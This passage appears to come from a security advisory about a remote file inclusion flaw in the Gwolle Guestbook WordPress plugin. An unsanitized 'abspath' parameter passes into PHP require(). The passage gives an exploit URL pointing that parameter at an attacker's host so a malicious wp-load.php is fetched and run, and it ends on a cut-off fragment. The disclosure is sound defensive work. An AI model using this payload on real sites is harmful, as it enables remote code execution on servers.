is not being properly sanitized before being used in PHP require() function leading to a PHP remote
file inclusion vulnerability.
A remote attacker can include a file named 'wp-load.php' from arbitrary remote server and execute
its content on the vulnerable web server.
In order to do so the attacker needs to place a malicious 'wp-load.php' file into his server
document root and includes server's URL into request:
http://example.com/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

may still include local files and also execute arbitrary code.");
